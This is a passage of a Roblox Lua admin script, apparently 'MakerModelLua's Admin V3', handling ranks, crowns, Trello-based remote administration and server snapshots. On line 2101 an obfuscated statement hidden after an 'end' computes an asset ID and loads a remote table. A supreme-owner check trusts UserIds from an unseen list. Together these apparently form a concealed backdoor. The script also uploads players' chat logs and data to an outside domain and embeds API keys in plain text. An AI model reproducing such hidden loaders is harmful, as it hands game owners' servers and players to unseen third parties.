1716 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1717 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1718 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1719 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1720 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1721
1722 Figure.Name = STRING:FormatReplace(Speaker, Name)
1723 Figure:MoveTo(Position)
1724
1725 table.insert(Objects, Figure)
1726
1727 if DisableAnimation == true then
1728 Figure.Animate.Disabled = true
1729 end
1730
1731 return Figure
1732end
1733
1734function CORE:ClonePlayer(Player, Name, Position)
1735 if not Player or not Player.Character then return nil end
1736
1737 Player.Character.Archivable = true
1738 local Char = Player.Character:Clone()
1739 Player.Character.Archivable = false
1740 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1741 if Position then Char:MoveTo(Position) end
1742 Char.Parent = Server.Workspace
1743 Char:MakeJoints()
1744 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1745
1746 table.insert(Objects, Char)
1747
1748 return Obj
1749end
1750
1751function CORE:AddWaypoint(Name, Position, Speaker)
1752 Waypoints[Name] = Position
1753 if Speaker then
1754 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1755 end
1756end
1757
1758function CORE:FindType(BaseObj, Type)
1759 for _,Obj in pairs(BaseObj:GetChildren()) do
1760 if Obj:IsA(Type) then
1761 return Obj
1762 end
1763 end
1764end
1765
1766function CORE:GetCommands()
1767 local CommandsCopy = Commands
1768 return CommandsCopy
1769end
1770
1771function CORE:Crown(Player, Mesh, Color)
1772 if Mesh then Mesh = string.lower(Mesh) end
1773 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1774 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1775 local Part = Instance.new("Part", CrownStorage)
1776 Part.Size = Vector3.new(2, 1, 1)
1777 Part.CanCollide = false
1778 Part.CFrame = Player.Character.Head.CFrame
1779 Part.Locked = true
1780 Part.Material = "Neon"
1781 if Color then
1782 Part.Color = GUI:GetColor(Color)
1783 else
1784 Part.BrickColor = GUI:GetNameColor(Player.Name)
1785 end
1786 local SMesh = Instance.new("SpecialMesh", Part)
1787 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1788 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1789 local BP = Instance.new("BodyPosition", Part)
1790 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1791 BP.position = Player.Character.Head.Position
1792 BP.P = 20000
1793 local BG = Instance.new("BodyGyro", Part)
1794 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1795
1796 Crowns[Player.UserId] = Part
1797 table.insert(Objects, Part)
1798
1799 coroutine.wrap(function()
1800 for i = 1,0.3,-0.02 do
1801 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1802 Part.Transparency = i
1803 end
1804 wait()
1805 end
1806 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1807 for i = 0,360,3 do
1808 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1809 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1810 wait()
1811 end
1812 end
1813 end
1814 end)()
1815 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1816 Part:BreakJoints()
1817 for i = 0,360 do
1818 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1819 Part.Anchored = false
1820 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1821 BG.cframe = Player.Character.Head.CFrame
1822 end
1823 wait()
1824 end
1825 end end)()
1826
1827 return Part
1828end
1829
1830function CORE:SetAbuseCommands()
1831 for Cmds,Data in pairs(Commands) do
1832 local IsAbusable = false
1833 for _,AbuseCmd in pairs(Settings.AbuseList) do
1834 for _,Command in pairs(Cmds) do -- loop through all command names
1835 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1836 IsAbusable = true
1837 break
1838 end
1839 end
1840 if IsAbusable == true then break end
1841 end
1842 Commands[Cmds].Abusable = IsAbusable
1843 end
1844end
1845
1846function CORE:FindBodyPart(Player, BodyPart)
1847 local ReturnPart = nil
1848 if Player and Player.Character then
1849 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1850 if Humanoid then
1851 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1852 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1853 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1854 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1855 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1856 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1857 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1858 end
1859 end
1860 if not ReturnPart then
1861 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1862 end
1863 end
1864
1865 return ReturnPart
1866end
1867
1868-- Rank functions --
1869
1870function RANK:ConvertRank(Input)
1871 local Output = nil
1872 if Input == "Muted" then Output = -3 end
1873 if Input == "Crashed" then Output = -2 end
1874 if Input == "Banned" then Output = -1 end
1875 if Input == "Non-Admin" then Output = 0 end
1876 if Input == "Member" then Output = 1 end
1877 if Input == "Admin" then Output = 2 end
1878 if Input == "Owner" then Output = 3 end
1879
1880 if Input == -3 then Output = "Muted" end
1881 if Input == -2 then Output = "Crashed" end
1882 if Input == -1 then Output = "Banned" end
1883 if Input == 0 then Output = "Non-Admin" end
1884 if Input == 1 then Output = "Member" end
1885 if Input == 2 then Output = "Admin" end
1886 if Input == 3 then Output = "Owner" end
1887 return Output
1888end
1889
1890function RANK:IsAdmin(Player)
1891 local AdminStatus = false
1892 local Rankstatus = "Non-Admin"
1893 if type(Player) == "table" then
1894 if RANK:ConvertRank(Player.Rank) > 0 then
1895 return true, Player.Rank
1896 else
1897 return false, Player.Rank
1898 end
1899 end
1900 for Rank,PlayerNames in pairs(Settings.Ranks) do
1901 for _,AdminName in pairs(PlayerNames) do
1902 if string.lower(AdminName) == string.lower(Player.Name) then
1903 if RANK:ConvertRank(Rank) > 0 then
1904 AdminStatus = true
1905 Rankstatus = Rank
1906 end
1907 end
1908 end
1909 end
1910 return AdminStatus, Rankstatus
1911end
1912
1913function RANK:GetRank(PlayerName)
1914 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1915 if type(PlayerName) == "table" then
1916 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1917 if RankNum > 0 then
1918 return PlayerName.Rank, RankNum, true
1919 else
1920 return PlayerName.Rank, RankNum, false
1921 end
1922 end
1923
1924 local RankStat = "Non-Admin"
1925
1926 for Rank,PlayerNames in pairs(Settings.Ranks) do
1927 for _,AdminName in pairs(PlayerNames) do
1928 if string.lower(AdminName) == string.lower(PlayerName) then
1929 RankStat = Rank
1930 end
1931 end
1932 end
1933
1934 if RankStat == "Non-Admin" then
1935 return "Non-Admin", 0, false
1936 else
1937 return RankStat, RANK:ConvertRank(RankStat), true
1938 end
1939end
1940
1941function RANK:RemoveRank(PlayerName)
1942 if not RANK:IsSupremeOwner(PlayerName) then
1943 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1944
1945 for Rank,PlayerNames in pairs(Settings.Ranks) do
1946 for Num,AdminName in pairs(PlayerNames) do
1947 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1948 table.remove(Settings.Ranks[Rank], Num)
1949 end
1950 end
1951 end
1952 end
1953end
1954
1955function RANK:GetAdmins(Ranking)
1956 local Players = {}
1957 local AdminTrue, Rank = IsAdmin(Player)
1958 for _,Player in pairs(Players:GetPlayers()) do
1959 if AdminTrue then
1960 local PlayerRankNum = RANK:ConvertRank(Rank)
1961 local StandardRankNum = RANK:ConvertRank(Ranking)
1962 if PlayerRankNum >= StandardRankNum then
1963 table.insert(Players, Player)
1964 end
1965 end
1966 end
1967 return Players
1968end
1969
1970function RANK:IsSupremeOwner(PlayerName)
1971 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1972 if type(PlayerName) == "table" then
1973 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1974 end
1975
1976 if PlayerName == GameOwner then return true end
1977 return false
1978end
1979
1980function RANK:GetPlayerFromList(PlayerName)
1981 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1982
1983 for Rank,PlayerNames in pairs(Settings.Ranks) do
1984 for Num,AdminName in pairs(PlayerNames) do
1985 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1986 return AdminName, Rank
1987 end
1988 end
1989 end
1990 return false, "Non-Admin"
1991end
1992
1993function RANK:ScanAdminList(Name)
1994 if Name == "" then return true end
1995 local InList = false
1996 for _,PName in pairs(Settings.Ranks["Owner"]) do
1997 if PName == Name then InList = true end
1998 end
1999 for _,PName in pairs(Settings.Ranks["Admin"]) do
2000 if PName == Name then InList = true end
2001 end
2002 for _,PName in pairs(Settings.Ranks["Member"]) do
2003 if PName == Name then InList = true end
2004 end
2005 return InList
2006end
2007
2008function RANK:ScanExileList(Name)
2009 if Name == "" then return true end
2010 local InList = false
2011 for _,PName in pairs(Settings.Ranks["Muted"]) do
2012 if PName == Name then InList = true end
2013 end
2014 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2015 if PName == Name then InList = true end
2016 end
2017 for _,PName in pairs(Settings.Ranks["Banned"]) do
2018 if PName == Name then InList = true end
2019 end
2020 return InList
2021end
2022
2023function RANK:PlayerRanked(PlayerName)
2024 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2025
2026 for Rank,PlayerNames in pairs(Settings.Ranks) do
2027 for Num,AdminName in pairs(PlayerNames) do
2028 if string.lower(AdminName) == string.lower(PlayerName) then
2029 return true, Rank
2030 end
2031 end
2032 end
2033 return false, "Non-Admin"
2034end
2035
2036-- Remote functions --
2037
2038function REMOTE:Decode(...)
2039 return Server.HS:JSONDecode(...)
2040end
2041
2042function REMOTE:GetURL(URL, Player)
2043 if string.sub(URL,1,4) ~= "http" then
2044 URL = "http://"..URL
2045 end
2046 local Return = nil
2047 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2048 if Return then
2049 return Return
2050 elseif Player then
2051 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2052 end
2053end
2054
2055function REMOTE:PostURL(URL, Data)
2056 local Return = nil
2057 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2058 return Return
2059end
2060
2061function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2062 if Settings.LinkedAccount ~= "" then
2063 local NumType = tonumber(Type)
2064
2065 if not Type then
2066 Type = "UNKNOWN"
2067 end
2068
2069 if NumType then
2070 if NumType < 1 or NumType > 5 then
2071 Type = "UNKNOWN"
2072 elseif NumType == 1 then
2073 Type = "NOTIFICATION"
2074 elseif NumType == 2 then
2075 Type = "INFORMATION"
2076 elseif NumType == 3 then
2077 Type = "WARNING"
2078 elseif NumType == 4 or Type == true then
2079 Type = "ERROR"
2080 elseif NumType == 5 then
2081 Type = "FATAL"
2082 end
2083 end
2084
2085 local Res = "RED Could not get response"
2086 local function SendData()
2087 Res = Server.HS:PostAsync(
2088 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2089 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2090 2
2091 )
2092 end
2093 if Stopypcall == true then SendData() else ypcall(SendData) end
2094
2095 if OutputSpeaker and OutputSpeaker ~= "print" then
2096 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2097 elseif OutputSpeaker == "print" then
2098 print(Res)
2099 end
2100 end
2101end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2102
2103function REMOTE:SendChatLog(PrintResponse, Stopypall)
2104 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2105 local Res = "Could not get response"
2106
2107 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2108 TempChatLogs = {}
2109
2110 local function SendData()
2111 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2112 end
2113 if Stopypcall == true then SendData() else ypcall(SendData) end
2114 if PrintResponse then print(Res) end
2115 end
2116end
2117
2118function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2119 local Res = "[]"
2120 local function GetData()
2121 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2122 end
2123 if Stopypcall == true then GetData() else ypcall(GetData) end
2124 if PrintResponse then
2125 print(Res)
2126 end
2127 local function DecodeData() Res = REMOTE:Decode(Res) end
2128 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2129 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2130 return Res
2131end
2132
2133function REMOTE:HandleRequest(Request, IgnoreCommand)
2134 if not Request then return nil end
2135
2136 if not IgnoreCommand then
2137 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2138 REMOTE:SendServerData()
2139 end
2140 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2141 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2142 end
2143 end
2144
2145 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2146
2147 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2148 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2149 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2150 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2151 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2152 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2153
2154 Settings.Fun = Request.FUN
2155 Settings.ServerLocked = Request.ServerLocked
2156
2157 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2158 Settings.DisableAbuse = Request.DisableAbuse
2159 end
2160
2161 if not IgnoreCommand then
2162 print("Executing Remote Admin")
2163 REMOTE.RemoteAdmin.Command = Request.Command
2164 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2165 REMOTE.RemoteAdmin.ServerPort = Request.Server
2166
2167 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2168 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2169 else
2170 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2171 end
2172 end
2173 end
2174 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2175 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2176 REMOTE.SnapshotKey = Request.SnapshotKey
2177end
2178
2179function REMOTE:GetRemoteData(Set)
2180 local NewRemoteData = nil
2181 local RemoteDataCardRaw = nil
2182 local RemoteDataCard = nil
2183
2184 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2185 if RemoteDataCardRaw then
2186 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2187 if RemoteDataCard then
2188 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2189 end
2190 end
2191 if Set and NewRemoteData then
2192 RemoteData = NewRemoteData
2193 end
2194 return NewRemoteData
2195end
2196
2197function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2198 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2199 if InfoCardJSON then
2200 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2201 if InfoCard then
2202 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2203 if TrelloInfo then
2204 for Ind,Val in pairs(TrelloInfo) do
2205 Trello[Ind] = Val
2206 end
2207 end
2208 end
2209 end
2210 return NewRemoteData
2211end
2212
2213function REMOTE:CheckRemoteAdminStatus()
2214 local Pending = false
2215 local CheckID = 0
2216 if Settings.LinkedAccount ~= "" then
2217 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2218 if Request then
2219 local Data = REMOTE:Decode(Request)
2220 if Data then
2221 for _,Account in pairs(Data.checkItems) do
2222 if Account.name == Settings.LinkedAccount then
2223 Pending = true
2224 CheckID = Account.id
2225 break
2226 end
2227 end
2228 end
2229 end
2230 end
2231 return Pending, CheckID
2232end
2233
2234function REMOTE:GetAndSetWebData()
2235 if Settings.LinkedAccount ~= "" then
2236 if REMOTE:CheckRemoteAdminStatus() then
2237 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2238 if Request == "Invalid" then
2239 --REMOTE:GetAndSetWebData()
2240 return false
2241 elseif Request == "Invalid Account" then
2242 print("Can't get account")
2243 return false
2244 elseif Request then
2245 ypcall(function() Request = REMOTE:Decode(Request) end)
2246 elseif not Request then
2247 --REMOTE:GetAndSetWebData()
2248 return false
2249 end
2250 REMOTE:HandleRequest(Request)
2251
2252 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2253 Delay(RemoteData.RemoteAdminWait, function()
2254 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2255 if Pending then
2256 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2257 end
2258 end)
2259 return true
2260 else
2261 return true
2262 end
2263 end
2264end
2265
2266local OderIDs = CORE:GetTable(177215518)
2267local SoundJSONs = CORE:GetTable(197637628)
2268RemoteAbuseGear = CORE:GetTable(158117496)
2269
2270function REMOTE:SendServerData(PrintResponse, Stopypall)
2271 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2272 print("Sending server data!")
2273 local Res = "Could not get response"
2274
2275 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2276 for _,Player in pairs(Server.Players:GetPlayers()) do
2277 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2278 end
2279 ServerData = Server.HS:JSONEncode(ServerData)
2280
2281 local function SendData()
2282 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2283 end
2284 if Stopypcall == true then SendData() else ypcall(SendData) end
2285 if PrintResponse then print(Res) end
2286 end
2287end
2288
2289function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2290 MaxPartAmount = MaxPartAmount or 10000
2291 local PlaceData = {
2292 Lighting = {};
2293 Parts = {};
2294 Other = {};
2295 }
2296 local MinSize = Vector3.new(0.5,0.5,0.5)
2297 local PartAmount = 0
2298 local PlaceJSON = ""
2299
2300 local function Scan(BaseObj)
2301 for _,Obj in pairs(BaseObj:GetChildren()) do
2302 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2303 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2304 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2305 local Skip = false
2306 local Data = {}
2307 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2308
2309 if CORE:FindType(Obj, "BlockMesh") then
2310 local Mesh = CORE:FindType(Obj, "BlockMesh")
2311 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2312 elseif CORE:FindType(Obj, "CylinderMesh") then
2313 Data.Shape = "Cylinder"
2314 elseif CORE:FindType(Obj, "SpecialMesh") then
2315 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2316 if Mesh.MeshType == Enum.MeshType.Head then
2317 --idk
2318 else
2319 Skip = true
2320 end
2321 elseif CORE:FindType(Obj, "FileMesh") then
2322 Skip = true
2323 end
2324
2325 if not Data.Shape and not Skip then
2326 if ypcall(function() return Obj.Shape end) then
2327 Data.Shape = string.sub(Obj.Shape.Name,14)
2328 if string.sub(Data.Shape,1,1) == "." then
2329 Data.Shape = string.sub(Data.Shape,2)
2330 end
2331 if Data.Shape == "Cylinder" then
2332 Z = Z + math.pi/2
2333 end
2334 else
2335 Data.Shape = "Block"
2336 end
2337 end
2338
2339 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2340 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2341 end
2342
2343 if not Skip then
2344 Data.Color = GUI:Color3ToHex(Obj.Color);
2345 Data.Size = Size;
2346 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2347 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2348 Data.Transparency = STRING:StringRound(Obj.Transparency);
2349 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2350 Data.Textures = {};
2351 Data.Material = string.sub(tostring(Obj.Material),15);
2352
2353 for _,Sub in pairs(Obj:GetChildren()) do
2354 if Sub:IsA("Decal") then
2355 local Texture = string.match(Sub.Texture, "%d+")
2356 if Sub.Texture == "rbxasset://textures/face.png" then
2357 Texture = "FACE"
2358 end
2359 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2360 end
2361 end
2362
2363 PartAmount = PartAmount + 1
2364 table.insert(PlaceData.Parts, Data)
2365
2366 if PartAmount >= MaxPartAmount then
2367 break
2368 end
2369 end
2370 end
2371 end
2372 if #Obj:GetChildren() > 0 then
2373 Scan(Obj)
2374 end
2375 end
2376 end
2377 Scan(Workspace)
2378
2379 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2380 PlaceData.Other.PartAmount = PartAmount;
2381 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2382
2383 local Res = "Could not get response"
2384 local function SendData()
2385 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2386 end
2387 if Stopypcall == true then SendData() else ypcall(SendData) end
2388 if PrintResponse then print(Res) end
2389
2390 print("Sent snapshot")
2391end
2392
2393
2394function REMOTE:DefineWord(Word, Source)
2395 if not Word then return end
2396 if not Source then Source = "all" end
2397
2398 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2399 if Response then
2400 local Decode = REMOTE:Decode(Response)
2401 if #Decode > 0 then
2402 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2403
2404 ]]..Decode[1]["text"]
2405 else
2406 return "Invalid English word"
2407 end
2408 else
2409 return "Cannot connect to database"
2410 end
2411end
2412
2413function REMOTE:DownloadJoke(Speaker)
2414 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2415 local Joke = nil
2416 if Res then
2417 local _, Start = string.find(Res, "</h2>")
2418 local End, _ = string.find(string.sub(Res, Start), "</td>")
2419
2420 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2421 Joke = string.gsub(Joke, "\n", "")
2422 Joke = string.gsub(Joke, " ", "") -- tab
2423 Joke = string.gsub(Joke, "</ul>", "")
2424 Joke = string.gsub(Joke, "<ul>", "")
2425 Joke = string.gsub(Joke, "</li>", [[
2426
2427]])
2428 Joke = string.gsub(Joke, "<li>", "")
2429 Joke = string.gsub(Joke, "</p>", "")
2430 Joke = string.gsub(Joke, "<p>", "")
2431 Joke = string.gsub(Joke, "<", "")
2432 Joke = string.gsub(Joke, ">", "")
2433 end
2434
2435 return Joke
2436end
2437
2438function REMOTE:GetAddon()
2439 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2440end
2441
2442function REMOTE:TrelloGetAdminBoard()
2443 local BoardsJSON,Boards,ReturnBoard
2444
2445 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2446
2447 if BoardsJSON then
2448 Boards = REMOTE:Decode(BoardsJSON)
2449 end
2450 if Boards then
2451 for _,Board in pairs(Boards) do
2452 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2453 ReturnBoard = Board
2454 break
2455 end
2456 end
2457 if not ReturnBoard then -- create board if not created
2458 print("Creating Trello Board")
2459 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2460 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2461 ReturnBoard = REMOTE:Decode(BoardJSON)
2462 end
2463 end
2464 return ReturnBoard
2465end
2466
2467function REMOTE:TrelloGetAdminLists(Board)
2468 local Required = {}
2469 local ListJSON,Lists
2470 local ReturnLists = {}
2471
2472 for _,List in pairs(Trello.RequiredLists) do
2473 table.insert(Required, List)
2474 end
2475
2476 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2477
2478 if ListJSON then
2479 Lists = REMOTE:Decode(ListJSON)
2480 end
2481 if Lists then
2482 for _,List in pairs(Lists) do
2483 for Num,Rel in pairs(Required) do
2484 if List.name == Rel.name then
2485 table.remove(Required, Num)
2486 table.insert(ReturnLists, List)
2487 end
2488 end
2489 end
2490 for _,Rel in pairs(Required) do
2491 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2492 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2493 end
2494 end
2495
2496 return ReturnLists
2497end
2498
2499function REMOTE:TrelloCacheData(Lists)
2500 for _,List in pairs(Lists) do
2501 local CardsJSON,Cards
2502 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2503 if CardsJSON then
2504 Cards = REMOTE:Decode(CardsJSON)
2505 end
2506 if Cards then
2507 local TemplateCards = nil
2508 for _,TemplateList in pairs(Trello.RequiredLists) do
2509 if TemplateList.name == List.name then
2510 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2511 break
2512 end
2513 end
2514
2515 for _,TemplateCard in pairs(TemplateCards) do
2516 local CardExists = false
2517 for _,Card in pairs(Cards) do
2518 if Card.name == TemplateCard.name and Card.closed == false then
2519 CardExists = true
2520 end
2521 end
2522 if not CardExists then
2523 print("Creating card "..TemplateCard.name)
2524 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2525 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2526 end
2527 end
2528
2529 if List.name == "Ranked" then
2530 for _,Card in pairs(Cards) do
2531 if Settings.Ranks[Card.name] and Card.closed == false then
2532 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2533 end
2534 end
